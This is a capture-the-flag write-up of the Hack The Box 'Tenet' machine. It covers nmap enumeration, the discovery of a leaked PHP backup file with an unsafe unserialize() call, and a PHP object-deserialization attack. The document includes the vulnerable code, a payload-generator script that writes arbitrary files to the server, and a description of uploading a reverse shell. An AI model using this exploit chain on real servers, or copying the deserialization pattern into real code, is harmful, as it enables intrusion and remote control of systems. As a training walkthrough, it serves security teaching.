Now I could of assumed that the box had a web server and SSH open, since most boxes have those ports open. Alas, I went down the conservative route and just did the usual Nmap scan.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-17 09:51 AWST
Nmap scan report for tenet.htb (10.10.10.223)
Host is up (0.059s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
| 256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_ 256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.6
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Tenet
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.63 seconds
Like 99% of the time, the SSH port would not give me an attack vector in
(yet)
, so I visited the website at http://tenet.htb/ after adding
tenet.htb
to my
/etc/hosts
file.
Seems like another boring Wordpress blog, but it looks like a certain dev called
neil
was peeved off by the main blogger.
If you cannot see the comment from
neil
in the screenshot above, here it is.
did you remove the sator php file and the backup?? the migration program is incomplete! why would you do this?!
Poor Neil and his plights as a developer.
I would of felt more sorry for Neil if he demonstrated better OP sec, but thanks to them I knew I would have to find a file called
sator.php
(this was an educated guess).
Most of you reading this know that it is good practice to add the domain of the box to
/etc/hosts
for enumeration purposes, for an example
tenet.htb
. What took me a solid hour to realise is that
just maybe
there is more information on the default site besides the virtual hosts...
I spent over an hour fuzzing for
sator.php
on
tenet.htb
, when actuality it was sitting right in front of me at http://10.10.10.223/sator.php ...
Oooo I surely do like reading about databases on the boxes I am attacking!
After wasting about another hour trying to find this backup that
neil
mentioned, I finally found the backup of
sator.php
at http://10.10.10.223/sator.php.bak. If you didn't know this beforehand, the
.bak
extension is commonly used on Linux boxes for backup files; which I did forget about for a bit.
<?php
class DatabaseExport
{
public $user_file = 'users.txt';
public $data = '';
public function update_db()
{
echo '[+] Grabbing users from text file <br>';
$this-> data = 'Success';
}
public function __destruct()
{
file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
echo '[] Database updated <br>';
// echo 'Gotta get this working properly...';
}
}
$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);
$app = new DatabaseExport;
$app -> update_db();
?>
ooooooooooooOOOOOOOOOOOOooooooooooooo
This code looks ripe for a good old PHP deserialization attack!
What is PHP serialization you might ask?
If you know about it just skip a bit.
Well, the simplified question is how do you send the state of an instance of a class in Object Oriented Programming (OOP) languages? In PHP, this is done by expressing the state of the instance as a formatted string.
Alright hear me out, let us use the code of
sator.php
as an example and get the serialized string of the
$app
instance of
DatabaseExport
using the below code snippet.
payload_gen.php
<?php
class DatabaseExport
{
public $user_file = 'users.txt';
public $data = '';
public function update_db()
{
$this-> data = 'Success';
}
public function __destruct()
{
file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
// echo 'Gotta get this working properly...';
}
}
$app = new DatabaseExport;
$app -> update_db();
echo serialize($app)."\n";
?>
ghostccamm@kali:~/Desktop/hackthebox/machines/tenet/get_init$ php payload_gen.php
O:14:"DatabaseExport":2:{s:9:"user_file";s:9:"users.txt";s:4:"data";s:7:"Success";}
So we can now see how the objects of the
DatabaseExport
class are serialized.
-
The 'O' at the start is to signal that the serialized string is an Object of a class.
-
The '14' is the number of letters in the name of the Class that the Object is an instance of. In this case it is
DatabaseExport
.
-
The '2' is the number of properties that the object has.
The following '
{}
' block then expresses the names of the properties and the values of them as well. So for the
user_file
property of
$app
, the name of the property is a string (
s
) and is 9 characters and its value is also string.
Still confused? You probably are since I only gave a brief introduction on PHP object serialization. Check out this
Medium Article by Vickie Li
where she went into far greater detail about PHP serialization and how you can exploit it.
Getting back to Tenet now, we can modify the
user_file
and
data
properties from the serialized string we send using the GET parameter
arepo
.
This means that we can save a PHP file onto the webserver!
I wrote a neat little Python script that will construct the payload that I will send to the server. The serialized string needed to be URL encoded as well, since it is sent as a GET parameter in the URL.
import sys, urllib.parse
def main(filename):
lines = []
data = ""
for line in sys.stdin:
data = data + line
payload = 'O:14:"DatabaseExport":2:{{s:9:"user_file";s:{}:"{}";s:4:"data";s:{}:"{}";}}'.format(len(filename), filename, len(data), data)
print(urllib.parse.quote_plus(payload))
if __name__ == "__main__":
try:
filename = sys.argv[1]
except:
print("You need to give a file name!")
sys.exit(1)
main(filename)
I then just piped the
php-reverse-shell.php
file that comes pre-packaged with Kali Linux as my payload and uploaded it onto the box.
Now chucking that payload into the
http://10.10.10.223/sator.php?arepo=<payload here>
, I was able to upload my reverse shell and get initial foothold!
nooooOOOooooiice